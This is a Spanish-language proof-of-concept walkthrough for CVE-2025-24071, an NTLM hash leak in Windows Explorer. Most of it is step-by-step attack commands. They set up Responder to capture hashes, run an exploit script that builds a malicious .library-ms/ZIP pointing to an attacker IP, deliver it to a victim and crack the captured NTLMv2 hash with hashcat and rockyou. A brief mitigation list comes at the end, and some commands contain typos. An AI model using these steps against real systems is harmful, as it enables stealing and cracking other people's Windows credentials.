CVE-2025-24071-POC-NTLMHashDisclosure

• Activa la autenticación SMB automática a un recurso compartido controlado por el atacante.
• No se requiere interacción: el Explorador de Windows inicia esta autenticación NTLM automáticamente.
• Resulta en la filtración del hash NTLMv2 (divulgación de información).
• Afecta a todas las versiones de Windows 10/11, especialmente 11 23H2.

Configurar el Entorno del Atacante

sudo apt update && sudo apt install responder -y

Iniciar Responder

sudo responder -I eth0

Ejecutar el Script de Explotación

Instalar el módulo Python requerido

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

Esto generará: testpayload.library-ms testpayload.zip

Probar en la Máquina Víctima

Transfiera testpayload.zip a la máquina de pruebas Windows 11. Extraiga el ZIP usando el Explorador de archivos de Windows. Esto provoca que Windows intente acceder a la ruta SMB, filtrando el hash NTLM.

Capturar el Hash

responder -I etho0

Preparar el Archivo del Hash

crear archivo hash,txt

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

Elegir una Lista de Palabras

la más común rockyou.txt

Ejecutar Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

Mitigación

• Bloquear SMB saliente (TCP 445) en los cortafuegos.
• Deshabilitar la autenticación automática a recursos compartidos SMB no confiables (política de grupo).
• Monitorear la extracción de archivos .library-ms y conexiones SMB.